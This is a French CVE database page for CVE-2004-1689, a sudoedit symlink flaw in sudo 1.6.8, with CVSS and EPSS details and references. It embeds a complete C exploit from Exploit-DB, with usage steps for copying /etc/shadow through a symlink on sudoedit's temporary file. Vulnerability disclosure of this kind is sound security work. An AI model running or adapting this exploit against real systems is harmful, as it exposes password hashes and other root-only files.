CVE-2004-1689 : Détail

CVE-2004-1689

0.17%V4
Local
2005-02-20
04h00 +00:00
2017-07-10
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

sudoedit (aka sudo -e) in sudo 1.6.8 opens a temporary file with root privileges, which allows local users to read arbitrary files via a symlink attack on the temporary file before quitting sudoedit.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 470

Date de publication : 2004-09-20 22h00 +00:00
Auteur : Angelo Rosiello
EDB Vérifié : Yes

/* Copyright © Rosiello Security 2004 http://www.rosiello.org sudoedit Exploit SOFTWARE : sudoedit REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html DATE: 18/09/2004 Summary: A flaw in exists in sudo's -u option (aka sudoedit) in sudo version 1.6.8 that can give an attacker read permission to a file that would otherwise be unreadable. Sudo versions affected: 1.6.8 only Credit: Reznic Valery discovered the problem. ----------------------------------------------------------- All the information that you can find in this software were published for educational and didactic purpose only. The author published this program under the condition that is not in the intention of the reader to use them in order to bring to himself or others a profit or to bring to others damage. !Respect the law! How do I use this code ? To exploit sudoedit you have to open with it the file "rosiello" as shown in the example. EXAMPLE SCENARIO: 1) Open two shells (i) and (ii); 2) (i)$sudoedit rosiello; 3) (ii)$./sudoedit-exploit /etc/shadow; 4) (i) close sudoedit. The file "rosiello" is now a copy of "/etc/shadow". AUTHOR : Angelo Rosiello CONTACT: angelo rosiello org */ #include <stdio.h> #include <sys/stat.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <dirent.h> int main( int argc, char *argv[] ) { char PATH[]="/usr/tmp"; char file[32]; DIR *tmp; struct dirent *de; tmp = opendir ( PATH ); int found = 0; printf( "Copyright © Rosiello Security 2004\n" ); printf( "http://www.rosiello.org\n" ); if( argc!=2 ) { printf( "USAGE: %s file\n", argv[0] ); return( 0 ); } while ( (de = readdir ( tmp ))!= NULL ) { if ( (strstr(de->d_name, "rosiello") != NULL) ) { if( strlen(de->d_name) > 24 ) return( 0 ); sprintf( file, "%s/%s", PATH, (char *)de->d_name ); remove( file ); if( fork()!=0 ) { execl( "/bin/ln", "ln", "-s", argv[1], file, NULL ); } wait( ); printf( "Now you can close sudoedit and reopen rosiello!\n" ); found=1; goto end; } } end: closedir( tmp ); if( !found ) printf( "File Not Found!\n" ); return( 0 ); } // milw0rm.com [2004-09-21]

Products Mentioned

Configuraton 0

Todd_miller>>Sudo >> Version 1.6.8

Références

http://secunia.com/advisories/12596
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=109537972929201&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.kb.cert.org/vuls/id/424358
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.osvdb.org/10023
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/11204
Tags : vdb-entry, x_refsource_BID
http://www.ciac.org/ciac/bulletins/o-219.shtml
Tags : third-party-advisory, government-resource, x_refsource_CIAC